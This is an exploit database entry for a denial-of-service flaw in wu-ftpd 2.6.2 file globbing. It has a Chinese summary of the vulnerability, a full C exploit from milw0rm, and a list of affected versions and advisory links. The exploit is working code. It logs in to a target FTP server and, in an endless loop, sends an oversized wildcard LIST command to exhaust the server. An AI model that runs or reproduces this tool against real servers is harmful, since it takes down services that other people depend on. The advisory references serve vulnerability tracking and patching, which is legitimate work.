https://www.exploit-db.com/exploits/842
https://www.securityfocus.com/bid/90277
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-441

Wu-ftpd是一个基于BSDftpd的FTP服务器程序，由华盛顿大学维护。Wu-ftpd包含的wu_fnmatch.c文件中的wu_fnmatch()函数存在一个安全问题，远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。

/*
 * wu-ftpd <= 2.6.2 File Globbing DoS 
 * [email protected]
 * 
 * Advisory: http://www.idefense.com/application/poi/display?id=207&type=vulnerabilities&flashstatus=true
 *
 * Adam Zabrocki (pi3 / pi3ki31ny) is credited with this discovery.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 21
usage(char *name)
{
printf("usage: %s -h hostname/ip -u user -p passwdn",name);
printf("tt/str0ke!milw0rm.com wu-ftpd <= 2.6.2 File Globbing DoSn");
exit(0);
}

main(int argc, char *argv[]) {
 char buffer[1000],host[255],user[255],pass[255],c;
 int sd, rc, i=0;
 struct sockaddr_in localAddr, servAddr;
 struct hostent *h;

if ( argc < 3) {
usage(argv[0]);
}

while ((c = getopt (argc, argv, "h:u:p:")) != EOF)
       switch(c)
       {
               case 'h':
                       strncpy(host,optarg,sizeof(host));
                       break;
               case 'u':
                       strncpy(user,optarg,sizeof(user));
                       break;
               case 'p':
                       strncpy(pass,optarg,sizeof(pass));
                       break;
       }

while(1) {

 h = gethostbyname(host);
 if(h==NULL) {
   printf("unknown host '%s'n",host);
   exit(1);
 }

 servAddr.sin_family = h->h_addrtype;
 memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 servAddr.sin_port = htons(SERVER_PORT);
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd<0) {
   perror("cannot open socket ");
   exit(1);
 }

 localAddr.sin_family = AF_INET;
 localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
 localAddr.sin_port = htons(0);

 rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
 if(rc<0) {
   printf("%d: cannot bind port TCP %un",sd,SERVER_PORT);
   perror("error ");
   exit(1);
 }

 printf("Trying To Connect To [%s]n",host);
 rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
 if(rc<0) {
   perror("cannot connect ");
   exit(1);
 }
   printf("Trying Login With [%s]n",user);
   snprintf(buffer,sizeof(buffer), "USER %srn", user);
   rc = send(sd, buffer, strlen(buffer), 0);
   memset(buffer,0,sizeof(buffer));

while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"331")) break;
       if(strstr(buffer,"421"))
               {
               printf("Access Denied on your arse..n");
               exit(0);
               }
       }

   printf("Sending Pass - [%s]n",pass);
   memset(buffer,0,sizeof(buffer));
   snprintf(buffer,sizeof(buffer), "PASS %srn", pass);
   rc = send(sd,buffer, strlen(buffer), 0);

while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"230")) break;
       if(strstr(buffer,"421"))
               {
               printf("Access Denied on your arse..n");
               exit(0);
               }

       if(strstr(buffer,"530"))
               {
               printf("Access Denied: Login Incorrect!n");
               exit(0);
               }
}

   memset(buffer,0,sizeof(buffer));
   snprintf(buffer,sizeof(buffer), "LIST ***********************************************************************************************************************************************************************************************.*rn");
   rc = send(sd,buffer, strlen(buffer), 0);
   printf("Dos Sentn");

}

   if(rc<0) {
     perror("cannot send data ");
     close(sd);
     exit(1);
   }
return 0;
}

// milw0rm.com [2005-02-25]

Washington University wu-ftpd 2.6.2

+

Compaq Tru64 5.1 b PK2 (BL22)

+

Compaq Tru64 5.1 b PK1 (BL1)

+

Compaq Tru64 5.1

来源:DEBIAN
名称:DSA-705
链接:http://www.debian.org/security/2005/dsa-705
来源:OSVDB
名称:14203
链接:http://www.osvdb.org/14203
来源:IDEFENSE
名称:20050225WU-FTPDFileGlobbingDenialofServiceVulnerability
链接:http://www.idefense.com/application/poi/display?id=207&type;=vulnerabilities
来源:VUPEN
名称:ADV-2006-1271
链接:http://www.frsirt.com/english/advisories/2006/1271
来源:VUPEN
名称:ADV-2005-0588
链接:http://www.frsirt.com/english/advisories/2005/0588
来源:SUNALERT
名称:57795
链接:http://sunsolve.sun.com/search/document.do?assetkey=1-26-57795-1
来源:SUNALERT
名称:101699
链接:http://sunsolve.sun.com/search/document.do?assetkey=1-26-101699-1
来源:SECUNIA
名称:19561
链接:http://secunia.com/advisories/19561
来源:SECUNIA
名称:18210
链接:http://secunia.com/advisories/18210
来源:SECUNIA
名称:14411
链接:http://secunia.com/advisories/14411
来源:HP
名称:SSRT061110
链接:http://itrc.hp.com/service/cki/docDisplay.do?docId=c00637342
来源:SCO
名称:SCOSA-2005.63
链接:ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.63/SCOSA-2005.63.txt
来源:USGovernmentResource:oval:org